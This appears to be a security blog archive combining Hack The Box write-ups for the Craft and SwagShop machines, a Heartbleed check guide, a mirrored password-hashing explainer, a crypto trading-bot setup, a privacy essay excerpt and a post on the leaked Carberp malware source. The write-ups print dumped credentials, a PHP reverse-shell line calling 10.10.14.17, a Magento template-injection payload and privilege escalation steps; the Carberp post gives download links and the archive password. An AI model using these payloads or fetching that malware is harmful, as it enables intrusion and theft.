MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

Now we can use the dbtest.py script found in the Gogs repo to make use of our new credentials.
We see the cursor is set to select one row which really limits our scope, so we change that to select all rows.
Since nano is not available and vi is useless on this host we also modify the script to take command line variables for our SQL statements.

#!/usr/bin/env python

import pymysql

# test connection to mysql database

connection = pymysql.connect(host="db",
user="craft",
password="qLGockJ6G2J75O",
db="craft",
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = sys.args[1]
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally:
connection.close()

A quick test verifies it is working as expected.

/tmp # python ./dbtest.py "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
[{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}]

After some DB enumeration we find the info we are looking for with the following statement.

/tmp # python ./dbtest.py "SELECT * from craft.user"

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

Now we have 3 sets of credentials for the API & possibly gogs
dinesh:4aUh0A8PbVJxgd
ebachman:llJ77D8QFkLPQB
gilfoyle:ZEU3N8WNM2rh4T

We try the credentials for gilfoyle in Gogs and we find another code repo.
This one seems to have some SSH keys stored in the .ssh directory.

https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh

We use the SSH key and the password to get SSH access to the host as gilfoyle.
From here we find our user flag.

Getting Root Access

Even before we start to enumerate the host something stands out.
A hidden token file is found the users home folder

ls -lha
total 36K
drwx------ 4 gilfoyle gilfoyle 4.0K Feb 9 2019 .
drwxr-xr-x 3 root root 4.0K Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4.0K Feb 9 2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4.0K Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2.5K Feb 9 2019 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

A quick google search for the file name returns information on one time token system.
We confirm this token file is valid.

gilfoyle@craft:~$ vault token lookup f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Key Value
--- -----
accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
creation_time 1549678834
creation_ttl 0s
display_name root
entity_id n/a
expire_time
explicit_max_ttl 0s
id f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
meta
num_uses 0
orphan true
path auth/token/root
policies [root]
ttl 0s

So after doing some research on how to use vault to authenticate SSH we find the following method to gain root access.

vault ssh root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 8a4176e6-63a8-819e-b21d-7d725e9755f8
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/

Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXX
root@craft:~#

And now that root is owned I have a strange urge to drink some craft beers!
Hope you enjoyed the write up!


Learning Resources Used for Reference in this Attack

Reference for the Python injection attack used to gain initial foothold.
https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html

Reference used to get proper syntax for our initial foothold.
https://gist.githubusercontent.com/compermisos/db8914f5ad1fab6107bb56e7afc5a3c5/raw/55013125f1cd8e78459e6d5d19e16021d3b0a6df/simpleSocket.sh

Reference for identifying docker instances.

How to know you are inside a Docker container

Reference for the changes to the dbtest.py script.
https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-fetchall.html

Reference for Vault commands used.
https://www.vaultproject.io/docs/commands/token/lookup.html
https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html

If you enjoyed the challenge give some respect to the creator rotarydrone
https://www.hackthebox.eu/home/users/profile/3067

Not a Reference but Just a Super Cool Tool to Use with HTB Labs
https://github.com/zachhanson94/htbcli

SwagShop.HTB

Posted: 2019/12/12 in Uncategorized

Walkthru for SwagShop

This is a detailed walk-thru for SwapShop written by dR1PPy

host

Challenges like the one posed by SwagShop are some of my favorite.
The ones that require a good combination of skills with toolsets along with skills with chaining exploits.

Overall a fun box to beat up on much thanks to ch4p for the challenge!

___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password

PS: Use root flag as password!

Enumeration

Port Scan All The Things!

Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.140 22 tcp ssh open OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 Ubuntu Linux; protocol 2.0
10.10.10.140 80 tcp http open Apache httpd 2.4.18 (Ubuntu)

We quickly verify the OpenSSH & Apache versions are not a known exploitable version and move on.
During our HTTP enumeration we find this XML file

http://10.10.10.140/app/etc/local.xml

Which seems to contain some credentials (Possibly for the Beta SwagShop)

localhostrootfMVWh7bDHpgZkyfqQXreTjU9swagshop

We are also able to enumerate the framework as Magento.

Gaining User Access

After some Google searching we find an exploit which gives us access to the Admin panel of the Framework via an SQLi

https://github.com/joren485/Magento-Shoplift-SQLI/

Once inside we can use the Magento frog hopper attack to get shell
https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper

First step is to enable symlinks in the settings of Magento.

System > Configuration > Advanced > Developer > Template Settings > Allow Symlinks "Yes" (Then save config)

Now we prep our shell by creating a file with the content below

<!--?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.17/8888 0>&1'"); ?-->

Now we get some random PNG file

And place our shellcode inside.

cat /tmp/shell.code >> random.png ### If the shell doesnt work try a better reverse shell example cat php-reverse-shell-1.0/php-reverse-shell.php >> random.png

Now back to Magento where we create a catalog item with our new png as the image logo.
Then we create a newsletter to load our code by adding the following to it's body.

{{block type='core/template' template='../../../../../../media/catalog/category/dR1PPy.png'}}

Now we start our listener then preview the template

nc -lvp 8888 # on my local machine

Using FrogHopper Attack with PNG file worked!

(NOTE: for some reason this attack kept failing with JPG files)

Once we have a shell we upgrade it to be fully TTY. We see /usr/bin/python3 is available so we can get TTY like so

python3 -c 'import pty; pty.spawn("/bin/sh")'

We grab the user flag found in /home/haris/user.txt and proceed to escalation.

Privilege Escalation

Again we start our enumeration cycle using the standard Enum tools.

Quickly we find LinEnum has shown us the path to root

[+] We can sudo without supplying a password!
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*

[+] Possible sudo pwnage!
/usr/bin/vi

We can execute vi as root as long as we edit something in the /var/www/html/ directory.
So we exploit this like so

/usr/bin/vi /var/www/html/test.sh

Once in VI editor we break out to our root shell like the Kool-Aid man

:!/bin/sh

# whoami
root
# cd /root/
# ls
root.txt

OH Yeah!

Resources:

Magento SQLi POC
https://github.com/joren485/Magento-Shoplift-SQLI/

Magento Froghopper Attack
https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper

GTFOBins for the PrivEsc syntax
https://gtfobins.github.io/

With all the news of the Heartbleed SSL flaw in the media this week IT staff have been working to lock things down on servers & services.

Here are 3 Simple ways to Identify if a domain is vulnerable to a Heartbleed

Method 1
From any host running Chrome Web Browser search for and install the following extension
https://chrome.google.com/webstore/detail/chromebleed/eeoekjnjgppnaegdjbcafdggilajhpic

Image

Now browse to the Domain name in question to validate the status.
If the domain is vulnerable you will see a message similar to the following

Image
Method 2
Use a web based service such as the one found here:
http://filippo.io/Heartbleed/

Method 3
For scanning multiple sites at once we have created the following script.

bleeding_hearts.sh

Usage :

‘./bleeding_hearts.sh domain-list.txt’

Output Examples :

'TLS server extension heartbeat' 

The above output should be further investigated to verify the vulnerability.

More Info:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

This is a mirror of a post originally found here: 

http://security.stackexchange.com/questions/211/how-to-securely-hash-passwords/31846#31846

The Theory

We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if an hostile outsider gains a simple glimpse at the contents of the file or database table which contains the passwords, then that attacker learns a lot. Unfortunately, such partial, read-only breaches do occur in practice (a mislaid backup tape, a decommissioned but not wiped out hard disk, as an aftermath of a SQL injection attack… the possibilities are numerous). See this blog post for a detailed discussion.

Since the overall contents of a server which can validate passwords are necessarily sufficient to, indeed, validate passwords, an attacker who got a read-only snapshot of the server is in position to make anoffline dictionary attack: he tries potential passwords until a match is found. We cannot avoid that. So we will want to make that kind of attack as hard as possible. Our tools are the following:

  • Cryptographic hash functions: these are fascinating mathematical objects which everybody can compute efficiently, and yet nobody knows how to invert them. This looks good for our problem: the server could store a hash of a password; when presented with a putative password, the server just has to hash it to see if it gets the same value; and yet, knowing the hash does not reveal the password itself.
  • Salts: among the advantages of the attacker over the defender, is parallelism. The attacker usually grabs a whole list of hashed passwords, and is interested in breaking as many of them as possible. He may try to attack several in parallels. For instance, the attacker may consider one potential password, hash it, and then compare the value with 100 hashed passwords; this means that the attacker shares the cost of hashing over several attacked passwords. A similar optimisation isprecomputed tables, including rainbow tables; this is still parallelism, with a space-time change of coordinates.The common characteristic of all attacks which use parallelism is that they work over several passwords which were processed with the exact same hash functionSalting is about using notone hash function, but a lot of distinct hash functions; ideally, each instance of password hashing should use its own hash function. A salt is a way to select a specific hash function among a big family of hash functions. Properly applied salts will completely thwart parallel attacks (including rainbow tables).
  • Slowness: computers become faster over time (Gordon Moore, co-founder of Intel, theorized it in his famous law). Human brains do not. This means that attackers can “try” more and more potential passwords as years pass, while users cannot remember more and more complex passwords (or flatly refuse to). To counter that trend, we can make hashing inherently slow by defining the hash function to use a lot of internal iterations (thousands, possibly millions).

We have a few standard cryptographic hash functions; most famous are MD5 and the SHA family. Building a secure hash function out of elementary operations is far from easy. When cryptographers want to do that, they think hard, then harder, and organize a tournament where the functions fight each other fiercely. When hundreds of cryptographers gnawed and scraped and punched at a function for several years and found nothing bad to say about it, then they begin to admit that maybe that specific function could be considered as more or less secure. This is just what happened in the SHA-3 competition. We have to use this way of designing hash function because we know no better way. Mathematically, we do not know if secure hash functions actually exist; we just have “candidates” (that’s the difference between “it cannot be broken” and “nobody in the world knows out to break it”).

A basic hash function, even if secure as a hash function, is not appropriate for password hashing, because:

  • it is unsalted, allowing for parallel attacks (rainbow tables for MD5 or SHA-1 can be obtained for free, you do not even need to recompute them yourself);
  • it is way too fast, and gets faster with technological advances. With a recent GPU (i.e. off-the-shelf consumer product which everybody can buy), hashing rate is counted in billions of passwords per second.

So we need something better. It so happens that slapping together a hash function and a salt, and iterating it, is not easier to do than designing a hash function — at least, if you want the result to be secure. There again, you have to rely on standard constructions which have survived the continuous onslaught of vindicative cryptographers.

Good Password Hashing Functions

PBKDF2

PBKDF2 comes from PKCS#5. It is parameterized with an iteration count (an integer, at least 1, no upper limit), a salt (an arbitrary sequence of bytes, no constraint on length), a required output length (PBKDF2 can generate an output of configurable length), and an “underlying PRF”. In practice, PBKDF2 is always used with HMAC, which is itself a construction which is built over an underlying hash function. So when we say “PBKDF2 with SHA-1”, we actually mean “PBKDF2 with HMAC with SHA-1”.

Advantages of PBKDF2:

  • Has been specified for a long time, seems unscathed for now.
  • Is already implemented in various framework (e.g. it is provided with .NET).
  • Highly configurable (although some implementations do not let you choose the hash function, e.g. the one in .NET is for SHA-1 only).
  • Received NIST blessings (modulo the difference between hashing and key derivation; see later on).
  • Configurable output length (again, see later on).

Drawbacks of PBKDF2:

  • CPU-intensive only, thus amenable to high optimization with GPU (the defender is a basic server which does generic things, i.e. a PC, but the attacker can spend his budget on more specialized hardware, which will give him an edge).
  • You still have to manage the parameters yourself (salt generation and storage, iteration count encoding…). There is a standard encoding for PBKDF2 parameters but it uses ASN.1 so most people will avoid it if they can (ASN.1 can be tricky to handle for the non-expert).

bcrypt

bcrypt was designed by reusing and expanding elements of a block cipher called Blowfish. The iteration count is a power of two, which is a tad less configurable than PBKDF2, but sufficiently so nevertheless. This is the core password hashing mechanism in the OpenBSD operating system.

Advantages of bcrypt:

  • Many available implementations in various languages (see the links at the end of the Wikipedia page).
  • More resilient to GPU; this is due to details of its internal design. The bcrypt authors made it so voluntarily: they reused Blowfish because Blowfish was based on an internal RAM table which is constantly accessed and modified throughout the processing. This makes life much harder for whoever wants to speed up bcrypt with a GPU (GPU are not good at making a lot of memory accesses in parallel). See here for some discussion.
  • Standard output encoding which includes the salt, the iteration count and the output as one simple to store character string of printable characters.

Drawbacks of bcrypt:

  • Output size is fixed: 192 bits.
  • While bcrypt is good at thwarting GPU, it can still be thoroughly optimized with FPGA: modern FPGA chips have a lot of small embedded RAM blocks which are very convenient for running many bcrypt implementations in parallel within one chip. It has been done.
  • Input password size is limited to 51 characters. In order to handle longer passwords, one has tocombine bcrypt with a hash function (you hash the password and then use the hash value as the “password” for bcrypt). Combining cryptographic primitives is known to be dangerous (see above) so such games cannot be recommended on a general basis.

scrypt

scrypt is a much newer construction (designed in 2009) which builds over PBKDF2 and a stream cipher called Salsa20/8, but these are just tools around the core strength of scrypt, which is RAM. scrypt has been designed to inherently use a lot of RAM (it generates some pseudo-random bytes, then repeatedly read them in a pseudo-random sequence). “Lots of RAM” is something which is hard to make parallel. A basic PC is good at RAM access, and will not try to read dozens of unrelated RAM bytes simultaneously. An attacker with a GPU or a FPGA will want to do that, and will find it difficult.

Advantages of scrypt:

  • A PC, i.e. exactly what the defender will use when hashing passwords, is the most efficient platform (or close enough) for computing scrypt. The attacker no longer gets a boost by spending his dollars on GPU or FPGA.
  • One more way to tune the function: memory size.

Drawbacks of scrypt:

  • Still new (my own rule of thumb is to wait at least 5 years of general exposure, so no scrypt for production until 2014 — but, of course, it is best if other people try scrypt in production, because this gives extra exposure).
  • Not as many available, ready-to-use implementations for various languages.
  • Unclear whether the CPU / RAM mix is optimal. For each of the pseudo-random RAM accesses, scrypt still computes a hash function. A cache miss will be about 200 clock cycles, one SHA-256 invocation is close to 1000. There may be room for improvement here.
  • Yet another parameter to configure: memory size.

OpenPGP Iterated And Salted S2K

I cite this one because you will use it if you do password-based file encryption with GnuPG. That tool follows the OpenPGP format which defines its own password hashing functions, called “Simple S2K”, “Salted S2K” and “Iterated and Salted S2K“. Only the third one can be deemed “good” in the context of this answer. It is defined as the hash of a very long string (configurable, up to about 65 megabytes) consisting of the repetition of an 8-byte salt and the password.

As far as these things go, OpenPGP’s Iterated And Salted S2K is decent; it can be considered as similar to PBKDF2, with less configurability. You will very rarely encounter it outside of OpenPGP, as a stand-alone function.

Unix “crypt”

Recent Unix-like systems (e.g. Linux), for validating user passwords, use iterated and salted variants of the crypt() function based on good hash functions, with thousands of iterations. This is reasonably good. Some systems can also use bcrypt, which is better.

The old crypt() function, based on the DES block cipher, is not good enough:

  • It is slow in software but fast in hardware, and can be made fast in software too but only when computing several instances in parallel (technique known as SWAR or “bitslicing”). Thus, the attacker is at an advantage.
  • It is still quite fast, with only 25 iterations.
  • It has a 12-bit salt, which means that salt reuse will occur quite often.
  • It truncates passwords to 8 characters (characters beyond the eighth are ignored) and it also drops the upper bit of each character (so you are more or less stuck with ASCII).

But the more recent variants, which are active by default, will be fine.

Bad Password Hashing Functions

About everything else, in particular virtually every homemade method that people relentlessly invent.

For some reason, many developers insist on designing function themselves, and seem to assume that “secure cryptographic design” means “throw together every kind of cryptographic or non-cryptographic operation that can be thought of”. See this question for an example. The underlying principle seems to be that the sheer complexity of the resulting utterly tangled mess of instruction will befuddle attackers. In practice, though, the developer himself will be more confused by his own creation than the attacker.

Complexity is bad. Homemade is bad. New is bad. If you remember that, you’ll avoid 99% of problems related to password hashing, or cryptography, or even security in general.

Password hashing in Windows operating systems is used to be mindbogglingly awful and now is just terrible (unsalted, non-iterated MD4).

Key Derivation

Up to now, we considered the question of hashing passwords. A close problem is about transforming a password into a symmetric key which can be used for encryption; this is called key derivation and is the first thing you do when you “encrypt a file with a password”.

It is possible to make contrived examples of password hashing functions which are secure for the purpose of storing a password validation token, but terrible when it comes to generating symmetric keys; and the converse is equally possible. But these examples are very “artificial”. For practical functions like the one described above:

  • The output of a password hashing function is acceptable as a symmetric key, after possible truncation to the required size.
  • A Key Derivation Function can serve as a password hashing function as long as the “derived key” is long enough to avoid “generic preimages” (the attacker is just lucky and finds a password which yields the same output). An output of more than 100 bits or so will be enough.

Indeed, PBKDF2 and scrypt are KDF, not password hashing function — and NIST “approves” of PBKDF2 as a KDF, not explicitly as a password hasher (but it is possible, with only a very minute amount of hypocrisy, to read NIST’s prose in such a way that it seems to say that PBKDF2 is good for hashing passwords).

Conversely, bcrypt is really a block cipher (the bulk of the password processing is the “key schedule”) which is then used in CTR mode to produce three blocks (i.e. 192 bits) of pseudo-random output, making it a kind of hash function. bcrypt can be turned into a KDF with a little surgery, by using the block cipher in CTR mode for more blocks. But, as usual, we cannot recommend such homemade transforms. Fortunately, 192 bits are already more than enough for most purposes (e.g. symmetric encryption withGCM or EAX only needs a 128-bit key).

Miscellaneous Topics

How many iterations ?

As much as possible ! This salted-and-slow hashing is an arms race between the attacker and the defender. You use many iterations to make the hashing of a password harder for everybody. To improve security, you should set that number as high as you can tolerate on your server, given the tasks that your server must otherwise fulfill. Higher is better.

Collisions and MD5

MD5 is broken: it is computationally easy to find a lot of pairs of distinct inputs which hash to the same value. These are called collisions.

However, collisions are not an issue for password hashing. Password hashing requires the hash function to be resistant to preimages, not to collisions. Collisions are about finding pairs of messages which give the same output without restriction, whereas in password hashing the attacker must find a message which yields a given output that the attacker does not get to choose. This is quite different. As far as we known, MD5 is still (almost) as strong as it has ever been with regards to preimages (there is atheoretical attack which is still very far in the ludicrously impossible to run in practice).

The real problem with MD5 as it is commonly used in password hashing is that it is very fast, and unsalted. However, PBKDF2 used with MD5 would be robust. You should still use SHA-1 or SHA-256 with PBKDF2, but for Public Relations. People get nervous when they hear “MD5”.

Salt Generation

The main and only point of the salt is to be as unique as possible. Whenever a salt value is reusedanywhere, this has the potential to help the attacker.

For instance, if you use the user name as salt, then an attacker (or several colluding attackers) could find it worthwhile to build rainbow tables which attack the password hashing function when the salt is “admin” (or “root” or “joe”) because there will be several, possibly many sites around the world which will have a user named “admin”. Similarly, when a user changes his password, he usually keeps his name, leading to salt reuse. Old passwords are valuable targets, because users have the habit of reusing passwords in several places (that’s known to be a bad idea, and advertised as such, but they will do it nonetheless because it makes their life easier), and also because people tend to generate their passwords “in sequence”: if you learn that Bob’s old password is “SuperSecretPassword37”, then Bob’scurrent password is probable “SuperSecretPassword38” or “SuperSecretPassword39”.

The cheap way to obtain uniqueness is to use randomness. If you generate your salt as a sequence of random bytes from the cryptographically secure PRNG that your operating system offers (/dev/urandomCryptGenRandom()…) then you will get salt values which will be “unique with a sufficiently high probability”. 16 bytes are enough so that you will never see a salt collision in your life, which is overkill but simple enough.

UUID are a standard way of generating “unique” values. Note that “version 4” UUID just use randomness (122 random bits), like explained above. A lot of programming frameworks offer simple to use functions to generate UUID on demand, and they can be used as salts.

Salt Secrecy

Salts are not meant to be secret; otherwise we would call them keys. You do not need to make salts public, but if you have to make them public (e.g. to support client-side hashing), then don’t worry too much about it. Salts are there for uniqueness. Strictly speaking, the salt is nothing more than the selection of a specific hash function within a big family of functions.

“Pepper”

Cryptographers can never let a metaphor alone; they must extend it with further analogies and bad puns. “Peppering” is about using a secret salt, i.e. a key. If you use a “pepper” in your password hashing function, then you are switching to a quite different kind of cryptographic algorithm; namely, you are computing a Message Authentication Code over the password. The MAC key is your “pepper”.

Peppering makes sense if you can have a secret key which the attacker will not be able to read. Remember that we use password hashing because we consider that an attacker could grab a copy of the server database, or possible of the whole disk of the server. A typical scenario would be a server with two disks in RAID 1. One disk fails (electronic board fries — this happens a lot). The sysadmin replaces the disk, the mirror is rebuilt, no data is lost due to the magic of RAID 1. Since the old disk is dysfunctional, the sysadmin cannot easily wipe its contents. He just discards the disk. The attacker searches through the garbage bags, retrieves the disk, replaces the board, and lo! He has a complete image of the whole server system, including database, configuration files, binaries, operating system… the full monty, as the British say. For peppering to be really applicable, you need to be in a special setup where there is something more than a PC with disks; you need a HSM. HSM are very expensive, both in hardware and in operational procedure. But with a HSM, you can just use a secret “pepper” and process passwords with a simple HMAC (e.g. with SHA-1 or SHA-256). This will be vastly more efficient than bcrypt/PBKDF2/scrypt and their cumbersome iterations. Also, usage of a HSM will look extremely professional when doing a WebTrust audit.

Client-side hashing

Since hashing is (deliberately) expensive, it could make sense, in a client-server situation, to harness the CPU of the connecting clients. After all, when 100 clients connect to a single server, the clients collectively have a lot more muscle than the server.

To perform client-side hashing, the communication protocol must be enhanced to support sending the salt back to the client. This implies an extra round-trip, when compared to the simple client-sends-password-to-server protocol. This may or may not be easy to add to your specific case.

Client-side hashing is difficult in a Web context because the client uses Javascript, which is quite anemic for CPU-intensive tasks.

In the context of SRP, password hashing necessarily occurs on the client side.

Conclusion

Use bcrypt. PBKDF2 is not bad either. If you use scrypt you will be a “slightly early adopter” with the risks that are implied by this expression; but it would be a good move for scientific progress (“crash dummy” is a very honourable profession).

Hey looks its a Red Team!
Here they come with a few hours of work & a report that will hopefully provide more valuable information than “Here is what Nessus Found”.

A simple way to test any Red Team’s worth is with a good trolling and disinformation effort once the engagement is underway.  Good testers will be able to bypass the scripties with some manual testing and validations for any findings, and lazy testers will waste a lot of time spinning their wheels on a wild goose chase.

With this in mind we created a few ‘Anti-Pen’ test tools if you will. The entire toolkit is called the Crimson Kool-Aid Toolkit. The other tools in the toolkit will be released with later articles.

So for now here is the first tool:

‘Rusty Web Server: a simple python script to spoof web server versions’
Get it @ https://github.com/thesecuritypimp/rustyweb

In this article we will cover how to quickly setup a trading bot for crypto-currencies. As the difficulty for BTC continues to rise the profit in mining coins continues to drop. A good method to make up those losses is with a trading bot which will work to increase your profit margin by making the moves needed on the market while you are away.

For this we will use the following tools:

  • Turnkey Linux NODE.js VM
  • Gekko Trading Bot
  • Mt.Gox or BTCe account (w/ funds)

Setting up the Environment

First we will download the following Linux VM image

http://www.turnkeylinux.org/nodejs

(alternately you can just run the bot directly by downloading & installing http://nodejs.org/)

For step by step instructions for a Windows based install refer to this:

https://github.com/askmike/gekko/blob/master/docs/installing_gekko_on_windows.md

After downloading and booting the Linux VM image we prepare the host. After initial boot we choose the “Quit” option from the menu to get to a shell.

Once there:

apt-get install byobu
adduser coinmaker

(assign some strong passwords if required setup SSH keys)

git clone https://github.com/askmike/gekko.git /opt/gekko
chown -R coinmaker /opt/gekko
su – coinmaker
cd /opt/gekko/ && npm install

We can now run the bot to verify its functional:

node gekko

We can refer to https://github.com/askmike/gekko/blob/master/docs/Configuring_gekko.md for a full list of options available for the config.js file. To get going quickly change the following options:

cp config.js config.bkup && vi config.js

  • Change the “exchange” to your preferred trading hub
  • Change the currency setting to match your desired currency
  • If you want to enable trading then add the API key/secret generated by your trading hub for your account
  • Also change the tradingEnabled to true to allow trading.
config.normal = {
  enabled: true,
  exchange: 'MtGox', // 'MtGox', 'BTCe', 'Bitstamp' or 'cexio'
  currency: 'USD',
  asset: 'BTC',
  tradingEnabled: false,
  key: '',
  secret: '',
  username: 0 // only fill this is when using Bitstamp or cexio
}

Also ensure the “Advanced section” matches the settings in the config.normal section if you enable trading. This would include the Trading Hub set to “true” along with the same API key/secret used.

Now we can launch the bot and monitor its performance and trading from the console

 byobu && node gekko

2013-12-10 18:12:11 (INFO): Profit reporter active on simulated balance
2013-12-10 18:12:11 (INFO): Calculating EMA on historical data…
2013-12-10 18:14:31 (INFO): ADVICE is to BUY @ xxx.xxx (x.xxx)

The point is ladies and gentlemen that greed, for lack of a better word, is good.

And that’s it! Take a snapshot of the VM instance and clone away if you need to trade on more than one hub at a time.

While reviewing some old publications I came across this great article that was written just weeks after the 9/11 tragedy in NY.

Based on recent events disclosed around the PRISM program and US Government actions against privacy in general the article seems to be very scary with it’s foreshadowing.

Here is an excerpt taken from 2600 Magazine (Fall 2001):

It takes an event of great magnitude to really put things in perspective, to make us realize how insignificant our daily concerns can be. At the same time, such an occurrence can trigger a chain of events that wind up magnifying these concerns.

What is most disturbing is the speed with which things began to change after the attacks. It was as if members of Congress and other lawmakers were poised to spring into action the moment public opinion began to turn and before common sense had a chance of regaining its dominance. Within hours of the horrific events, new restrictions on everything from encryption to anonymity along with broad new powers allowing much easier wiretapping and monitoring of Internet traffic were being purposed – all with initial overwhelming support from the terrified public.

We find it absolutely unconscionable that anyone would use such a tragedy to further their own agenda – whether it be by selling a product or enacting a wish list of legislation. We’ve witnessed a good amount of both recently and its all pretty repugnant. Almost every new law purposed is something we’ve seen in the past – and rejected. And there is very little in them that would have been helpful in preventing the terrorist attacks in the first place.

Our concerns can best be summed up by this quote:
“Maybe the Senate wants to just go ahead and adopt new abilities to wiretap our citizens. Maybe they want to adopt new abilities to go into people’s computers. Maybe that will make us feel safer. Maybe. And maybe what the terrorists have done made us a little bit less safe. Maybe they have increased Big Brother in this country. If that is what the Senate wants, we can vote for it. But do we really show respect to the American people by slapping something together, something that nobody on the floor can explain, and say we are changing the duties of the Attorney General, the Director of the CIA, the U.S. attorneys, we are going to change your rights as Americans, your rights to privacy? We are going to do it with no hearings, no debate. We are going to do it with numbers on a page that nobody can understand.”

Those remarks came from Senator Patrick Leahy of Vermont, one of the few who seem to actually comprehend the serious risks we’re facing.

Today we are seeing the repercussions of the actions taken during that time, and now the train is running full speed so it will take a strong force to have any chance of derailing it.

This all reminds me of another quote from Philip K. Dick (also in 2600 Magazine Spring 2003):

…the essence of the evil government is that it anticipates bad conduct on the part of its citizens. Any government which assumes that the population is going to do something evil has already lost its franchise to govern. That tacit contract between a government and the people governed is that the government will trust the people and the people will trust the government. But once the government begins to mistrust the people it is governing, it loses its mandate to rule because it is no longer acting as a spokesman for the people, but is acting as an agent of persecution

Very interesting source code leak today for the Carberp malware family.
This black market malware once being offered for $40k will surely be of interest to anyone who conducts malware & botnet analysis. The leak included a few other tools that helped make it so successful like the bootloader, MC obfuscate, along with various functions taken from other malware source code like Zeus and Spyeye.

Which begs the question, how do we address the leakage and sharing of malware source code in the public domain?

Here is a more detailed story behind the leak: http://threatpost.com/carberp-source-code-leaked/

Here is more info on the information leaked:

Download
Link 1: http://multiupload.nl/A6CFLK4U6M (as of this posting this link seems dead)
Link 2: https://mega.co.nz/#!0YsXWBRD!CMqd9nrm1d0XABKlifI9vmxprpQ6RnfsdhBHeKrDXao (This one feels lucky!)

The password is:
Kj1#w2*LadiOQpw3oi029)K Oa(28)uspeh

Analysis of the package
Via kernelmode.info:

Ursnif related

pro\all source\BJWJ\Builds\Bin\Release DEBUGCONFIG\VNCDLL.dll
pro\all source\TZ\vnc\VNCd.7z->VNCd/VNCDLL.dll
pro\source builder plugins inj’s modules etc\WndRec\vncdemo\VNCDLL.dll
pro\source builder plugins inj’s modules etc\Сорцы и Модули\VNCd.7z->VNCd/VNCDLL.dll

Rovnix related (BKLoader itself)

pro\all source\bootkit.old\KLoader\release\i386\kloader.sys
pro\all source\BootkitDropper\nbuild\SrcDir\bksetup.exe
pro\all source\test\bootkit\1\bksetup.exe
pro\all source\test\bootkit\1\setupdll.dll
pro\all source\test\bootkit\bksetup.exe
pro\all source\test\bootkit\setupdll.dll
pro\all source\TZ\bootkit\bin\bksetup.exe
pro\all source\TZ\bootkit\bin\setupdll.dll
pro\all source\Инфа по буткиту\Бинарник БК\LatestBk\BK2.8.2\biin\BkSetup.dll
pro\all source\Инфа по буткиту\Бинарник БК\LatestBk\BK2.8.2\bin\release\i386\BkSetup.dll
pro\all source\Инфа по буткиту\Бинарник БК\LatestBk\BK2.8.2_KIP\BK2.8.2_KIP\biin\BkSetup.dll
pro\all source\Инфа по буткиту\Бинарник БК\LatestBk\BK2.8.2_KIP\BK2.8.2_KIP\bin\release\i386\SetupDll.dll
pro\all source\Инфа по буткиту\Инсталятор БК\BootkitDropperPlugBuild\SrcDir\BkSetup.dll
pro\all source\temp\marazm\Droper\Droper_23.01.2012.rar->build\bin\BkSetup.exe
